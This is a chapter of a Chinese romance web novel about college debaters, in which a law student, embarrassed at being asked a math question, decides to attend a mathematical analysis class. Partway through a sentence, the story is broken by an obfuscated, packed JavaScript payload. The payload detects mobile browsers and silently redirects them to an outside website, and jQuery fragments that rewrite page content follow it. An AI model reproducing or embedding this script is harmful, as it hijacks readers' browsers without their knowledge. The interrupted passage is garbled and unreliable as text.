15. 上头

作品:《对方辩友是我男朋友

    Debate15


    “所以我们就先从这两个地方去立论,一辩稿围绕着幸福这个词语去……”


    ‘噔噔——’


    敲门声打断了讨论室内的谈话。


    随后门就被推开。


    褚起承抬头一看,映入眼帘的是蒲竟宣那张没个正形的笑脸。


    “各位,先休息一下吧,喝点水。”他将手中的奶茶袋子放在桌上,将其中一杯拿出来插上吸管。


    放在了褚起承的手边。


    这个人瞎大方干什么?


    褚起承不理解。


    “谢谢蒲学弟!”张思若放下笔,边拿奶茶边问:“你怎么来这儿了?”


    蒲竟宣:“慰问群众。”


    “那一起坐会儿?”张思若指了指褚起承旁边的空位。


    蒲竟宣摆手:“我就不坐了,偷听战术不太好,到时候场上听,不打扰你们了。”


    “行。”张思若笑道。


    人走后,宋颖感慨:“这个蒲竟宣人真好,送奶茶?”


    她左手边一个戴黑框眼镜的男生开口:“这个世界上不存在绝对的善意,一切的行为都是有目的的。”


    “……”其余三人一阵沉默。


    张思若扶额:“老柏啊,这种时候咱们就别谈论你那哲学了,成吗?”


    柏严桦耸了耸肩:“陈述事实罢了。”


    “那你喝不喝?”张思若微笑着。


    他诚实道:“喝。”


    宋颖:“听说对方辩手今天也在这里讨论。”


    “知道在哪间讨论室吗?”


    “不知道。”


    “哎,还说去听墙角呢。”张思若遗憾道。


    “我们自己别被人听墙角就不错了。”宋颖说:“这次辩论也不是很重要,大家估计准备的效果多一些。”


    褚起承喝了口奶茶,“效果看你们了,我自由辩的时候就随意了。”


    张思若:“没关系的,你主要负责质询。”


    一个小时后,一辩稿的思路讨论得差不多了,几人分开后,褚起承找了间自习室坐下。


    他从包里拿出今天拿到的那份租赁合同,然后打开电脑,查了一下相应规定。


    合同很简单,没那么多条条框框,和自己之前看过的租房合同没什么差异。


    离谱的地方只有租金,甚至没有硬性要求押一付三。


    这个房东估计真是来做慈善的。


    会不会这是个假房东?


    不过褚起承想到宿舍里的某人,觉得再犹豫下去自己得烦死。


    他思忖半晌,还是给那个中介发了个消息。


    【CQC:可以租,但是我能看一下房产证吗?】


    五分钟后,中介才回复消息。


    【XX中介:当然可以!】


    如果这样都还能被骗的话那他可以不用毕业了。


    刚关掉手机,旁边就递过来一张纸条。


    他没打开,只是偏头看了眼递纸条的人。


    女生扎着丸子头,穿着一身的牛仔,笑得很温柔。


    笑得有些……不怀好意?


    想了半天,他还是打开了字条。


    总得看看人家想干什么再说。


    他做好心理准备一看——


    [褚同学,你能给我讲一道题吗?]


    “……”这是什么走向?


    褚起承怀疑她递错人了,指了指自己,“?”


    女生肯定地点头。


    这到底是什么新型的套路方式?


    这时,自习室里剩下的另一个同学背着包走了。


    “什么题?”褚起承出声问。


    女生从身后拿出一张草稿纸,“我抄下来了,不知道哪个步骤有问题一直没算出来,正好看到你了所以想问问你。”


    步骤是什么?


    高数吗?虽然他上学期也学了,但是也没到能跟人讲题的水平。


    但他还是接过了草稿纸。


    看到内容,他额角抽了下。


    蒲竟宣真的可以埋了。


    “我不会。”褚起承果断道,然后递了回去。


    女生疑惑:“你不会数分?”


    “同学,我是学法的,谢谢。”他脸色下一秒就可以变成僵尸了。


    如果可以的话,他第一个咬死蒲竟宣。


    “不对啊,你上次帮蒲竟宣讲的那道题比这道题难多了吧?我看了帖子的,你别唬我。”女生实在不解,觉得褚起承在骗他。


    脸上都没笑容了。


    “……”褚起承头一次觉得自己不会数分是一件罪大恶极可以处以大辟之刑的罪过。


    可是他本来就不学啊!


    他笑了声,语气十分死亡:“如果是这样的话,我给你把人叫过来。”


    褚起承也上头了。


    火气上头了。


    于是蒲竟宣从接到电话直到赶到自习室只花了五分钟的时间。


    女生看到人傻眼了。


    她就只是想问一道题而已。


    为什么事情会发展成这样?


    她没睡醒吗?


    蒲竟宣也懵了,褚起承打电话只是叫他过来,语气恐怖得要死。


    他又做错了什么?


    “来了?”褚起承把草稿纸拍到他手里,“给人家讲题。”


    “?”


    蒲竟宣就这么莫名其妙地接过了草稿纸,然后和女生对视一眼。


    后者摇了摇头。


    虽然不明白发生了什么,但是蒲竟宣还是接过了这个任务。


    几分钟后,题讲完了。


    女生满意道:“谢谢你啊蒲同学,你思路清晰多了,我等会儿再找几道例题试试。”


    “不客气,这种题型确实不好做。”


    “嗯。”女生收好东西,经过褚起承的时候停下脚步,“谢谢你,褚同学,没想到你和蒲竟宣的关系这么好,原来上次的题真的是他跟你讲的,我还以为你这么厉害有空还去学别的专业的课程,是我误会你了,抱歉。”


    褚起承更想死了。


    怎么听都觉得是在明抬暗贬,他不会数分到底犯了哪条天条?


    蒲竟宣在一旁忍着笑,他很难看到褚起承被堵得说不出话的模样。


    实在是太可爱了。


    但是还是得照顾一下酷哥的面子。


    “没关系的,他不会计较。”


    女生瞟见褚起承的耳朵都红了,还以为他是害羞了。


    赶忙道:“那就好,我走了。”


    “嗯。”


    褚起承将笔摔在桌子上,回头:“笑吧,别憋着您了。”


    敬语都用上了,看来火气不小。


    蒲竟宣收起笑容,“我没笑你,就是没想到这个谣言传得这么离谱。”


    “怪谁?”


    “怪我怪我。”蒲竟宣赶紧认错,“其实你上去秀那一把我也挺惊讶的,谁能想到十级的题你会解,五级的你不会呢。”


    “答案都摆在我面前了,我还不会那就是傻逼。”


    “你可别这么说,孙艺就没看懂。”蒲竟宣说。


    褚起承没好气道:“谁叫你用那么奇葩的思路解题?”


    “要真的奇葩你能看懂?”蒲竟宣反问。


    “那是因为高中学竞赛的时候老师讲过。”


    “哟,你还记得?”


    “有点印象,毕竟我就学了一个月。”


    说了半天,褚起承发现自己思路完全被拉跑偏了。


    “所以这件事怎么办?”


    蒲竟宣摊开手:“不用怎么办啊,你下次还遇到问你题的,你就冷着脸说不会就行了,而且这种事情的概率也太小了,谁知道还真有勇士?”


    虽然道理是这个道理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035383|162395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,但是褚起承还是很生气。


    他盘了下逻辑,最后他发现他是在生自己的气。


    气自己不会数分。


    不然也不会有人传得那么离谱,更不会有人真的拿题来问自己。


    自己更不会生气了!


    盘到最后他把自己说服了,甚至完全没重新理一下这件事情的逻辑已经偏到姥姥家了。


    所以,他得出了一个结论:“把你课表发我。”


    “嗯?”蒲竟宣不懂为什么他的思维这么跳跃。


    突然要自己的课表干什么?


    不会开始关心自己上课的时间安排了吧?


    四舍五入那就是在关心自己。


    他一秒都不带犹豫地截了个图过去,然后才问:“你要我课表做什么?”


    褚起承对了下时间,有一节课的时间是空出来的,自己完全可以多上一节课。


    “明天那节数分课帮我留个位置,你人不来也得把位置给我留下。”


    说完他就摁灭手机,“你可以滚了。”


    蒲竟宣从自习室出来,在风中凌乱了几分钟。


    他刚才没有耳聋吧?


    褚起承要陪他去上课?


    等等等……


    他现在脑子有点乱,得理一理。


    褚起承肯定不是陪自己去上课,他要自己的课表后只表明了要去上数分。


    为什么要去上数分?


    就因为不会?


    可他本来就不用学啊?


    他想着笑了下,这位褚同学也太认真了吧,就因为别人问自己题不会做,就难受得恨不得赶紧把一门课的知识点全部学会。


    不过这个人是褚起承倒也合理。


    嗯,合理。


    但他把队友晾在讨论室很久了。


    翌日早上第一节课之后,褚起承背着包往另一栋楼的教室走。


    郭尧质疑:“你去哪儿?”


    “上课。”


    “今天有第二节课吗?”他赶紧摸出手机看课表,什么时候有课了?他怎么不知道?哪位老师这么热爱上课又偷偷地加课了?


    褚起承扔下一句:“数分。”


    留下郭尧站在原地风中凌乱。


    不过等走到教室门口的时候,褚起承犹豫了。


    他迟来地意识到自己的这个行为真的很傻逼。


    可是自己还拿着蒲竟宣的书。


    还信誓旦旦地告诉蒲竟宣自己要来上课。


    还让蒲竟宣给自己留位置。


    靠。


    太傻逼了。


    “欸,同学,怎么不进去?”一道雄浑的嗓音在耳边响起。


    “抱歉。”褚起承觉得这声音有些耳熟,把路让开后,一偏头。


    “老师好。”他心虚地打招呼。


    老谢打量了下他。


    上次来帮蒲竟宣代课的那个小同学。


    老谢也站在门口不走了,“你今天又来帮蒲竟宣上课?再这样下去我要给他挂科了。”


    “不是的老师!”他立刻否认,“我给他送书来的。”


    老谢疑惑:“他书为什么在你这儿?”


    “我……想学数分。”他说完就觉得自己真的太傻逼了。


    老谢笑口颜开:“不错啊,你哪个专业的?”


    “法学。”他老实道。


    “挺好,我们学校的学生求知欲果然很强。”他笑着一只手拍了拍褚起承的背,推着他往里走。


    “那你没课这节课就坐着听吧。”


    就这样,教室里几十双眼睛看着一位白发苍苍的老教授带着一个白白净净、高高瘦瘦、青春气息拉满的帅逼进来了。


    这反差感实在太强烈。


    以致于大家都放下了手中的手机。


    如此诡异安静的场合下,一道要死不死的声音喊道:“褚起承,你怎么才来?”